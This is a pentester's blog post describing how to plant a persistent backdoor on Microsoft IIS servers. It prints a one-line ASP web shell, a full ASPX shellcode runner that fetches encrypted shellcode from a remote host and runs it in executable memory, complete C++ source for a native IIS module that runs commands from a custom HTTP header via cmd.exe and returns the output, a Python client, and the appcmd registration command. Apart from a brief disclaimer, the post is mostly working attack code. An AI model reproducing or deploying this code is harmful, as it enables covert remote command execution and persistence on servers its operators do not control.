From HTTP to RCE. How to leave backdoor in IIS

CICADA8
17 min readJul 3, 2024

--

Intro

Hello everybody, My name is Michael Zhmailo and I am a penetration testing expert in the MTS Innovation Center CICADA8 team.

On projects we encounter the instances of Internet Information Services (IIS) quite often. This is a very handy tool used as an app server. But did you know that simple IIS deployment could allow an attacker to leave a backdoor in the target environment?

In the article, I will show the way of persistence on a target system using legitimate Microsoft product being Internet Information Services. We’ll practice C++ programming, learn IIS Components and leave a backdoor via the IIS Module.

Let’s agree right away: I’m not telling you all this for you to go hack other people’s systems, but so that you know where hackers can leave a backdoor.

Forewarned is forearmed!

During active directory pentests, our team encountered the standard IIS splash very often. On one project, almost every computer had this app. That evening I asked myself: “What if you attach to the target system and setup persistence through IIS?”

Standart IIS Splash Screen

Fortunately, Windows gives the developer freedom to act: want to expand the capabilities of any large Enterprise thing? We aim to please, here are a bunch of APIs just for you!

Prior to creating our Frankenstein monster, let’s remember the already known persistence methods on IIS.

Casino, Blackjack and Shells

For a long time, the most common way to persist (and in special cases, to get initial access) was web shells. However, due to their simplicity, low weight and great popularity, there are quite a lot of ways to detect their appearance on a web server.

Moreover, if we do not add minimal access control to a web shell, then anyone can use it. Not that cool, right?

Finally, let’s get to coding. Let’s take a standard web shell .aspx. Let’s upload it to C:\inetpub\wwwroot, set the rights via icacls, and launch.

Encoding problem (Have u ever hacked non-english systems?)

I knew that the requirements for pentesters were high, but no one asked for knowledge of Elvish.

Certainly, there are slightly neater options.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Just like the slightly bulkier ones. For instance, an ASPX shellcode runner with payload loading from a remote server and subsequent AES decryption.

How do you like this, Elon Musk?

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>

<script runat="server">

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

[ System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();

private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;

// Keep this in mind when you view your decrypted content as the size will likely be different.
aes.Padding = PaddingMode.Zeros;

aes.Key = key;
aes.IV = iv;

using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}

private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}

private byte[] GetArray(string url)
{
using (WebClient webClient = new WebClient())
{
string content = webClient.DownloadString(url);
byte[] byteArray = content.Split(',')
.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
.ToArray();
return byteArray;
}
}

private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}

// Encrypted shellcode
byte[] Enc = GetArray("http://192.168.x.x/enc.txt");

// Key
byte[] Key = GetArray("http://192.168.x.x/key.txt");

// IV
byte[] Iv = GetArray("http://192.168.x.x/iv.txt");

// Decrypt our shellcode
byte[] e4qRS= Decrypt(Enc, Key, Iv);

// Allocate our memory buffer
IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Copy our decrypted shellcode ito the buffer
System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);

// Create a thread that contains our buffer
IntPtr aj5QpPE = IntPtr.Zero;
IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
}
</script>
<!DOCTYPE html>
<html>
<body>
<p>Check your listener...</p>
</body>
</html>

There are even web shell generators. On top of all, a treat for connoisseurs being web.config overwriting is added. It would seem, take it and don’t think about it!

Not so fast! We want something like this: new, unusual and secretive enough that not every security trainee can chase you away from a compromised host.

And such a solution was found.

IIS Components

As I have already said, Microsoft allows expanding the embedded functionality of its products. Before version 7.0, IIS had ISAPI Extensions and ISAPI Filters. These features are still available, but have been replaced by IIS Handler and IIS Module, respectively.

IIS Handler allows processing the received request on IIS and create a response for different content types. For example, there is a handler in ASP.NET that allows processing ASPX pages (including our web shells).

IIS Module is also involved in processing. IIS grants it full and unrestricted access to all incoming and outgoing HTTP requests. I guess this is our candidate. The modules themselves can be divided into two types: Managed and Native. Managed are those written in C#, with Native written in C++. The list of installed modules can be seen through the standard IIS service control manager.

IIS Service Control Manager

The process of persistence itself is similar to a web shell: if there is a call to a certain endpoint with particular parameters, then the command is executed on the system.

General Concept

I understand the way Windows functionality can be expanded. Everything is based on writing your own DLL library with the methods required. After its creation, all that remains is to register the library in IIS and use it to process specific events appearing on the server, for example, receipt of a new HTTP request.

In order for us to register our library with IIS, it has to export the RegisterModule() function with the following prototype:

HRESULT __stdcall RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer
)

dwServerVersion specifies the version of the server on which the library is registered. IHttpModuleRegistratioInfo is the so-called interface. I shall note that an interface in OOP can be deemed a certain obligation of a class to implement certain methods. An excellent analysis can be found here.

Thus, by accessing the pModuleInfo variable (it will identify our module in IIS), we can retrieve the name of the current module using GetName(), get its ID via GetId(), but the most interesting thing (what we actually need) is to subscribe to the processing of certain events via SetRequestNotifications().

It is also possible to set prioritization, but we are not particularly interested in it. However, if you plan to write a highly loaded web shell…

Well, let’s get back to SetRequestNotifications().

virtual HRESULT SetRequestNotifications(  
IN IHttpModuleFactory* pModuleFactory,
IN DWORD dwRequestNotifications,
IN DWORD dwPostRequestNotifications
) = 0;

This is the so-called purely virtual function. Its logic shall be implemented in some class. In our case, we can call this function by accessing pModuleInfo. The function itself accepts the following arguments:

  • pModuleFactory is an instance of a class that will implements the IHttpModuleFactory interface. That is, we just need to create a class, specify that it is inherited from the interface and implement the GetHttpModule and Terminate methods in this class
  • dwRequestNotifications is a bitmask identifying all events that the IIS Module subscribes to. We are interested in RQ_SEND_RESPONSE and RQ_BEGIN_REQUEST. The entire list of possible events can be found here
  • dwPostRequestNotifications is a bitmask identifying all so-called post-event events. This mask is useful for processing something that has already happened on IIS. We are not particularly interested in this value, so we set it to 0

In case of successful initialization, the RegisterModule() function shall turn back to S_OK.

A logical question arises: “Where shall we process events?” And before answering it, we need to understand all the classes and factories.

Classes and factories in IIS Programming

In the SetRequestNotification() function, we shall submit an instance of a class that implements the IHttpModuleFactory interface as the first parameter. The name of our class can be anything, the main thing is that it has an implementation of two methods: GetHttpModule() and Terminate().

For example, let’s call the class by name CHttpModuleFactory.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:

HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
{
... logic code ...
}

void Terminate()
{
delete this;
}
};

The GetHttpModule() method will be called every time IIS receives a request, the processing of which has been registered. Terminate() will be called at the end of request processing.

Within GetHttpModule(), our class shall create an instance of the CHttpModule class and return the address to the ppModule variable. It is the CHttpModule class that provides functionality for processing requests on IIS; its definition is set out in the standard httpserv.h header file.

CHttpModule Class Definition

If we take a look at the OutputDebugString() functions, we will understand that it is not enough to create an instance of a class, as we have to provide for an implementation of the method to process a specific event. We can override the code of an existing method with a child class, let’s call it CChildHttpModule.

In the class itself, for now, we will only write prototypes of the methods that we will override. But, in my opinion, it is a very good practice to insert the method code into the .h file as some LNK* error may occur.

class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};

We will provide for a code to create an instance of the CChildHttpModule class inside GetHttpModule().

class CHttpModuleFactory : public IHttpModuleFactory
{
public:

HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}

void Terminate()
{
delete this;
}
};

Summarizing, the actions just described implement a design pattern called a “factory” (hence all sorts of *Factory in interface names). This pattern allows creating an object (called a factory) to create other objects. And then, when calling the factory, the objects required will be created.

The entire work logic:

1. We register the module with IIS.

2. IIS calls RegisterModule().

3. We subscribe to the necessary events, send a reference to an instance of our factory via pModuleInfo->SetRequestNotifications().

4. Once a request appears, IIS will call the GetHttpModule() method of our factory.

5. A new instance of the CChildHttpModule() class is created.

6. The required method corresponding to the event will be called using this class instance. In our case, if you signed up for RQ_SEND_RESPONSE, then OnSendResponse() will be called.

7. Within the method, we process the web server response.

8. Getting back from the RQ_NOTIFICATION_CONTINUE method. This value indicates successful completion of the processing function.

9. IIS calls the Terminate() method.

Why should we process the response if we need a request?

It would be more logical to process the RQ_BEGIN_REQUEST event by calling the OnBeginRequest() method. But how do we get the output in this case? Certainly, we can code something on the sockets or leave blind command execution, but this is not really convenient. So I used RQ_SEND_RESPONSE. Moreover, we can access both the request and the response in the OnSendResponse() method through the pHttpContext argument, thanks to the IHttpContext interface.

The operating logic of our tool will be extremely simple: we parse the received request, detect the attacker’s desire to execute a command on the system, execute the command, add the command output to the IIS server response and this brings us to success!

Let’s go coding

So, we create an empty project for writing a dynamic binding library in Visual Studio. We don’t add anything to the DllMain function; we don’t need it. Let’s implement RegisterModule().

#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"

CHttpModuleFactory* pFactory = NULL;

__declspec(dllexport) HRESULT __stdcall RegisterModule(
DWORD dwSrvVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer)
{
pFactory = new CHttpModuleFactory();
HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
return hr;
}

In this code we declare a function exported from a DLL. Next, we create an instance of a new factory inside it, which will be used by IIS to create objects of the CChildHttpModule class.

We implement prototypes of the CHttpModuleFactory and CChildHttpModule classes in the classes.h header file.

#pragma once
#include <Windows.h>
#include <httpserv.h>

class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};


class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);

void Terminate();
};

We write the logic of the methods of these classes in the classes.cpp file.

#include "classes.h"

REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
...
}

HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}

void CHttpModuleFactory::Terminate()
{
if (this != NULL)
{
delete this;
}
}

Next we need to understand the way we want to execute the command and see the output. After this, we decide the way we will implement the OnSendResponse() function.

IHttp* Interface Methods

For minimal POC, I suggest sending an HTTP packet with the X-Cmd-Command: <command> header. Since our IIS Module is registered to handle RQ_SEND_RESPONSE, the OnSendResponse() function will be called within IIS. Its prototype is as follows:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(  
IN IHttpContext* pHttpContext,
IN ISendResponseProvider* pProvider
);

Here we are interested in the pHttpContext pointer. Since this instance implements the IHttpContext interface, we can use the functions defined in this interface.

First we need to extract the request received by IIS and the response sent. This can be done using the pHttpContext->GetRequest() and pHttpContext->GetResponse() methods.

As a result, we get two instances corresponding to the interface IHttpRequest and IHttpResponse.

The GetHeader() method allows retrieving the value of a specific header.

virtual PCSTR GetHeader(  
IN PCSTR pszHeaderName,
OUT USHORT* pcchHeaderValue = NULL
) const = 0;

All that remains is to extract the value, send it to cmd.exe /c <command> and then add the execution result to the web application response. Everything is obvious with the first two steps, GetHeader(), CreateProcess() with output redirection to pipe, but how shall we add the result of executing commands?

To do this, we use the SetHeader() method.

virtual HRESULT SetHeader(  
IN PCSTR pszHeaderName,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
) = 0;

Please note that this method is also present in IHttpRequest, but we call it in relation to the IHttpResponse instance (after all, we want to include the command execution result in the response, right? :) ).

The command execution result is inserted in Base64 format.

How to debug IIS Component

I have already mentioned the excellent OutputDebugString() function earlier in the article. I will also use it in the OnSendResponse() function. In the case of Native IIS Module, this is the only more or less high-level method (that I know) of debugging and spotting errors during development possible. OutputDebugString() does the following:

  • if the current process is being debugged, then the text is sent directly to the debugger
  • otherwise, it calls the standard OpenEvent() function and tries to open a handle for the two named events. One named DBWIN_BUFFER_READY, the other named DBWIN_DATA_READY. If one or both of them are not found, the string passed to the function is simply cleared
  • if events exist, the string is placed into memory by calling OpenFileMapping() with the DBWIN_BUFFER name. If this mapping is not found, the text is simply cleared
  • finally, if all three objects exist, OutputDebugString() calls MapViewOfFile() to create mapping and the string appears in memory. It can be read from there

Also we can use DebugView.

Here is an example of two programs, one of which receives strings sent to the other using the OutputDebugString() function:

#include <Windows.h>
#include <stdio.h>
#include <atltime.h>

int main() {
HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_BUFFER_READY");
HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_DATA_READY");

DWORD size = 1 << 12;
HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");

auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
0, 0, 0);

while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
INFINITE, FALSE)) {
SYSTEMTIME local;
::GetLocalTime(&local);
DWORD pid = *(DWORD*)buffer;
printf("%ws.%03d %6d: %s\n",
(PCWSTR)CTime(local).Format(L"%X"),
local.wMilliseconds, pid,
(const char*)(buffer + sizeof(DWORD)));
}
getchar();
return 0;
}

Here’s the program sending the string:

#include <windows.h>

int main()
{
LPCWSTR str = (LPCWSTR)L"Hi!!!";
OutputDebugString(str);
return 0;
}
Successful debugging

This is what the debugging process looks like using DebugView:

Functions in the code
DebugView Interface

Writing the Final POC

So, all we have to do is describe everything in the OnSendResponse() method correctly and get a functioning backdoor. Let’s start with the coding functions. We will use base64, so everything is simple here. Since the SetHeader() function accepts LPCSTR, our EncodeBase64() function will return LPCSTR. The encoded data will be in the BYTE buffer, so the first argument will be the buffer address, with the second being its size.


const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

LPCSTR EncodeBase64(BYTE* buffer, size_t in_len)
{
std::string out;

int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = buffer[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');

char* encodedString = new char[out.length() + 1];
std::memcpy(encodedString, out.data(), out.length());
encodedString[out.length()] = '\0';

return encodedString;
}

I don’t think there’s a point in describing how the algorithm works, since this is standard Base64.

Let’s move on to the juiciest part — OnSendResponse() processing. First, I’ll provide the complete code for the function and then we’ll walk through it step by step.

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
OutputDebugString(L"OnSendResponse IN");
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

USHORT uComLen = 0;
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

std::vector<BYTE> output;

if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"ExecuteCommand success");

if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Buffer is not empty");
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}

pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}

First, as promised, the OutputDebugString() set. This allows monitoring the IIS module status via DebugView.

Debugging via DebugView

Second, we retrieve the response and request instances from pHttpContext.

IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

Then, by reading the X-Cmd-Command header, we get the value of the command to be executed.

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

Please note that I placed the header in the HEADER variable. It is defined in the defs.h file. This allows changing the header used quickly and without any issues.

The main functionality of our backdoor is the execution of arbitrary commands. Thus, I create a vector with BYTE data type. This variable will contain the command execution result.

std::vector<BYTE> output;

if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"ExecuteCommand success");

if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Buffer is not empty");

ExecuteCommand() looks like this.


DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hReadPipe, hWritePipe;
BOOL success = FALSE;

if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
OutputDebugString(L"CreatePipe failed");
return -1;
}

ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;

char cmdCommand[MAX_PATH];
snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);

if (!CreateProcessA(
NULL,
cmdCommand,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi)) {
OutputDebugString(L"CreateProcessA failed");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return -1;
}

OutputDebugString(L"CreateProcessA Success");

CloseHandle(hWritePipe);

outputBuffer.clear();

const DWORD tempBufferSize = 4096;
std::vector<BYTE> tempBuffer(tempBufferSize);
DWORD bytesRead;

while (true) {
if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
break;
outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return 0;

To a good infosec expert, this function will seem extremely simple. First of all, we create a pipe to receive the command result. The next step is to generate an executable command (cmd.exe /c <command>), followed by its execution. The execution result will fall into the pipe, from which we read the data and place it in our vector.

The reading process is also quite simple. As soon as the function starts terminating with an error or the data are not read anymore, that means that’s it, end of reading :)

After reading all the data in the vector, we encode it in Base64 and insert it into the web server response via the SetHeader() method.

LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugStringA(b64Data);
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;

Command Execution

Here’s our moment of truth! We achieve execution of commands. In order to send requests to an infected IIS, let’s write a simple Python script.

import requests
import argparse
import base64

parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()

url = args.host


headers = {
args.header: args.cmd
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
response_value = response.headers.get(args.header)
if response_value:
decoded_value = base64.b64decode(response_value.encode()).decode()
print(f"Header value {args.header} in response: {decoded_value}")
else:
print(f"Header {args.header} doesn't exists")
else:
print(f"Error: {response.status_code}")

The script takes two required and one optional parameters:

  • — host — URL of the host where IIS is located
  • — cmd — command for execution
  • — header — name of the header through which we give the command and receive the output. We use X-Cmd-Command, but if you recompile the project with a different header, don’t forget to set the new value

Before you see the coveted result, don’t forget to register our module with IIS. We can do it with one simple command:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true

Of course, we can install it via the graphical interface, but this is somehow not hacker-like.

In case of successful registration, we will see the RegisterModule line in DebugView.

Successful backdoor registration

If we just go to IIS and refresh the page, then nothing suspicious will happen. We can only see how our message that no command was received is logged successfully.

Regular IIS

We run our Python script and see successful command execution!

Successful command execution

nice!

Conclusion

Completely standard and legitimate mechanisms at times can result very useful when conducting pentests. There is a lot more functionality that can be added to this project. For example, it would be great to encode not only the output, but also the input. So that a command in Base64 is given in the X-Cmd-Command header. Fortunately, we learned how to get the header value. It’s entirely up to you to add a decoding function from Base64. All the data required is already in base64.cpp. Go for it :)

Full project code available on GitHub.

--

--

CICADA8
CICADA8

Written by CICADA8

CICADA8 is a vulnerability management service with real-time cyber threat tracking capabilities. https://futurecrew.tech/cicada8

No responses yet